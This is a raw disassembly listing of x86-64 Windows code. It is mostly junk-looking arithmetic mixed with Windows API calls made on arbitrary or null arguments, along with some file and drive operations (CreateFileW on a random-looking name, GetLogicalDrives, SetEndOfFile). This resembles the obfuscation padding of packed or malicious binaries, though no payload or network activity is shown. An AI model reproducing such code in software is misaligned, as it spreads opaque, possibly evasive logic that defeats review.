mov dword [rsp + 0x51b8], eax
lea rcx, [rsp + 0x1dc40]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x63d0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63a4], eax
movzx ecx, word [rsp + 0x1e90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xd090]
mov rcx, qword [rsp + 0xcfc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd090]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xaf28]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd0b8], rax
movzx eax, byte [rsp + 0x418]
movzx ecx, byte [rsp + 0x1ce]
shl eax, cl
mov byte [rsp + 0x416], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x646c], eax
mov eax, dword [rsp + 0x631c]
add eax, 0x57
mov dword [rsp + 0x631c], eax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
sar eax, cl
mov word [0x1401a53b8], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6d8], rax
movsx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xcfe0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41c], al
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov byte [rsp + 0x298], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd030]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x35c0
mov r9d, 0x3838
mov r8d, 0x2cd2
mov edx, 0x10b9
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x636c], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6444], eax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x51dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xcd58]
mov rcx, qword [rsp + 0xce70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcff0], rax
movzx eax, word [rsp + 0x1ecc]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcdc], ax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov rcx, qword [0x1401b43f0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e98], ax
movzx eax, word [0x1401b4408]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1d90], ax
cmp dword [rsp + 0x631c], 0x6e84
jbe 0x14001a641
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x41e], al
mov rax, qword [rsp + 0xcfe0]
movzx eax, byte [rax]
mov byte [rsp + 0x6470], al
cmp byte [rsp + 0x6470], 0
je 0x14001aa6f
cmp byte [rsp + 0x6470], 8
je 0x14001ab95
jmp 0x14001ac4e
lea rcx, [rsp + 0x1bcb8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf78]
mov qword [rsp + 0xd138], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd138]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb810], rax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x62d8]
shl eax, cl
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov edx, dword [0x1401a5390]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14001ab90
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x63f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x51dc], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xd090]
mov eax, dword [rax]
mov dword [rsp + 0x6474], eax
lea rax, [rsp + 0x418]
mov qword [rsp + 0xd140], rax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [0x1401a53bc]
sub eax, ecx
mov word [0x1401a53b8], ax
movsx eax, byte [rsp + 0x419]
movsx ecx, byte [rsp + 0x2cd]
add eax, ecx
mov byte [rsp + 0x41b], al
jmp 0x14001ac4e
movzx eax, byte [rsp + 0x415]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0xcfe0]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0xd140]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0xcfe8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x6474]
call fcn.140187940
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ecc]
sub eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b8], rax
lea rax, [rsp + 0x5eac]
mov qword [rsp + 0xd148], rax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ecc]
xor eax, ecx
mov word [rsp + 0xcdc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.POF2_bv29z4J5mm2calMR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd150], rax
movsx eax, word [rsp + 0x1e84]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xcf10]
mov qword [rsp + 0xd158], rax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b38]
sar eax, cl
mov word [rsp + 0x1ed4], ax
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x1ec8]
or eax, ecx
mov word [rsp + 0x1444], ax
mov rax, qword [rsp + 0xd140]
movzx eax, byte [rax]
movzx ecx, byte [0x1401b440a]
sub eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xd148]
mov eax, dword [rax]
mov dword [rsp + 0x6478], eax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6374]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x419]
mov byte [rsp + 0x41f], al
mov rcx, qword [rsp + 0xce88]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea4]
add eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [0x1401b43e8]
movzx eax, word [rax]
mov word [0x1401b43e0], ax
lea rax, [rsp + 0x413]
mov qword [rsp + 0xd160], rax
mov rax, qword [rsp + 0xb810]
mov qword [rsp + 0xd168], rax
mov rax, qword [rsp + 0xb780]
mov rcx, qword [rsp + 0xcf08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb810], rax
mov rax, qword [0x1401b43f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x298]
add eax, ecx
movzx ecx, byte [rsp + 0x415]
movzx edx, byte [rsp + 0x41e]
add ecx, edx
cmp eax, ecx
jle 0x14001afb1
mov dword [rsp + 0x20], 0x23
mov r9, qword [rsp + 0xce00]
mov r8d, 0xb3
mov edx, 0x7e
mov rcx, qword [rsp + 0xd170]
call qword [sym.imp.GDI32.dll_TextOutW]
mov dword [rsp + 0x639c], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xcfc0]
mov rcx, qword [rsp + 0xcd98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcf88]
mov ecx, dword [rsp + 0x51dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6450], eax
mov rax, qword [0x1401b43f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
sub eax, ecx
mov byte [rsp + 0x41a], al
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
or eax, ecx
mov word [rsp + 0x1ea4], ax
mov dword [rsp + 0x40], 0x4a
mov dword [rsp + 0x38], 0xda
mov dword [rsp + 0x30], 0x94
mov rax, qword [rsp + 0xd078]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd2
mov r9d, 0xf3
mov r8d, 0xdc
mov edx, 0x75
mov rcx, qword [rsp + 0xd118]
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x6274], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
shl eax, cl
mov rcx, qword [0x1401b43e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc6d8]
sar rax, cl
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0xd158]
mov rcx, qword [rsp + 0xa7d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff8], rax
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [rsp + 0x1ed4]
and eax, ecx
mov word [rsp + 0x1234], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x647c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x6478]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6424], eax
mov eax, dword [rsp + 0x6450]
mov dword [rsp + 0x6480], eax
cmp dword [rsp + 0x63ec], 0x6996
jae 0x14001b2db
lea rcx, [rsp + 0x1bcb8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rsp + 0x62bc]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6348], eax
movsx eax, byte [rsp + 0x419]
movsx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x41f], al
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1ec4]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1eb0], ax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xd140]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x41a]
add eax, ecx
mov byte [rsp + 0x298], al
mov rax, qword [rsp + 0xd160]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov byte [rsp + 0x417], al
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov word [rsp + 0x1ec4], ax
mov eax, dword [rsp + 0x640c]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xd178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd178]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6480], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6478]
mov rcx, qword [rsp + 0xcfc0]
mov qword [rsp + 0xd180], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd180]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
lea rcx, [rsp + 0x1bc90]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, 0x5f2401
mov rcx, qword [rsp + 0xd040]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x63d0], eax
mov rcx, qword [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6484], eax
mov r9d, 2
lea r8, [rsp + 0xd130]
mov rdx, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62f0], eax
mov eax, dword [rsp + 0x63ec]
add eax, 0x29
mov dword [rsp + 0x63ec], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
xor eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov word [rcx], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [0x1401a53bc]
and eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd140]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a503a], al
mov rax, qword [rsp + 0xc6d8]
mov rcx, qword [rsp + 0xcd38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [0x1401a53a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
jmp 0x14001b02b
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb810], rax
mov rax, qword [0x1401b43f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
and eax, ecx
mov byte [rsp + 0x416], al
movzx eax, byte [rsp + 0x41d]
mov byte [rsp + 0x420], al
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xb810]
mov rcx, qword [rsp + 0xd158]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xa7d0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1401866c0
lea rax, [rsp + 0x1e84]
mov qword [0x1401b43d8], rax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
mov dword [rsp + 0x6488], eax
cmp dword [rsp + 0x6488], 0
je 0x14001b3bc
cmp dword [rsp + 0x6488], 0xae41
je 0x14001b4a3
jmp 0x14001b5bf
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov rcx, qword [0x1401b4400]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0xd140]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x418]
add eax, ecx
mov byte [rsp + 0x298], al
lea rax, [rsp + 0x41f]
mov qword [rsp + 0xd188], rax
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf78]
mov qword [rsp + 0xd190], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd190]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcf10], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x648c], eax
mov eax, dword [rsp + 0x640c]
mov dword [rsp + 0x6490], eax
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x6474]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6424], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov qword [rsp + 0xd198], rax
mov rax, qword [rsp + 0xd140]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
xor eax, ecx
mov byte [rsp + 0x1ce], al
jmp 0x14001b5bf
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x1ea8]
shl eax, cl
mov word [0x1401a53b8], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ecc]
and eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff8], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x6e
mov r9d, 0x8f
mov r8d, 0xfd
mov edx, 5
mov rcx, qword [rsp + 0xd1a0]
call qword [sym.imp.GDI32.dll_SetRectRgn]
mov dword [rsp + 0x639c], eax
mov rax, qword [rsp + 0xd148]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x63a8], eax
mov rcx, qword [rsp + 0xd150]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x63bc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a1c], ax
movzx eax, word [rsp + 0x1234]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xaff8]
mov rcx, qword [rsp + 0xd168]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0xd188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcfe0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x41d], al
movzx eax, word [rsp + 0xe6c]
mov word [rsp + 0x1edc], ax
mov eax, dword [rsp + 0x6398]
add eax, 0x62
mov dword [rsp + 0x6398], eax
movsx eax, word [rsp + 0x1e94]
mov rcx, qword [0x1401b43d8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1ed0], ax
lea rdx, [rsp + 0xcf80]
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x6374]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x630c], eax
movzx ecx, word [rsp + 0x1ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xd198]
mov rcx, qword [rsp + 0xcff0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xd090]
mov ecx, dword [rsp + 0x5eac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x54ac], eax
lea rcx, [rsp + 0x1bcb8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0x41e]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ed4]
sub eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov word [rsp + 0x1e84], ax
mov rax, qword [rsp + 0xd160]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41a], al
mov rax, qword [rsp + 0xcf10]
mov rcx, qword [rsp + 0xcf68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfa8], rax
mov eax, dword [rsp + 0x51dc]
mov ecx, dword [0x1401a5390]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x5eac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xcff0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd198], rax
movzx ecx, word [rsp + 0x1ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e9c], ax
movsx eax, word [rsp + 0x1ec8]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ecc]
shl eax, cl
mov word [0x1401a53b4], ax
mov r9d, 2
lea r8, [rsp + 0xd130]
mov rdx, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0xd070]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6494], eax
mov rax, qword [rsp + 0xcfe0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x420]
xor eax, ecx
mov byte [rsp + 0x414], al
cmp dword [rsp + 0x6398], 0x10675
jb 0x14001b667
mov rax, qword [rsp + 0xd160]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x41e]
add eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcf08]
mov qword [rsp + 0xd1a8], rax
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xd148]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c0], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51dc], eax
movzx eax, byte [rsp + 0x41a]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x298], al
lea rcx, [rsp + 0x1db20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6370], eax
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6d8], rax
movzx ecx, word [rsp + 0x1eb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e90], ax
movsx eax, word [rsp + 0x1eb0]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1edc], ax
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x6498], eax
mov rax, qword [0x1401b43f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6270]
shl eax, cl
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcd58]
shr rax, cl
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0xd188]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x41b], al
movzx eax, byte [0x1401a5038]
mov rcx, qword [rsp + 0xd160]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x41e], al
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b38]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x644c], eax
mov rcx, qword [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6320]
add eax, 0x2e
mov dword [rsp + 0x6320], eax
mov eax, dword [rsp + 0x6408]
mov ecx, dword [0x1401a5394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [rsp + 0xcdc], ax
movzx eax, byte [rsp + 0x416]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x1a1c]
xor eax, ecx
mov word [0x1401a53bc], ax
mov rax, qword [rsp + 0xa7d0]
movzx ecx, al
mov rax, qword [rsp + 0xcd38]
shl rax, cl
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
movzx ecx, al
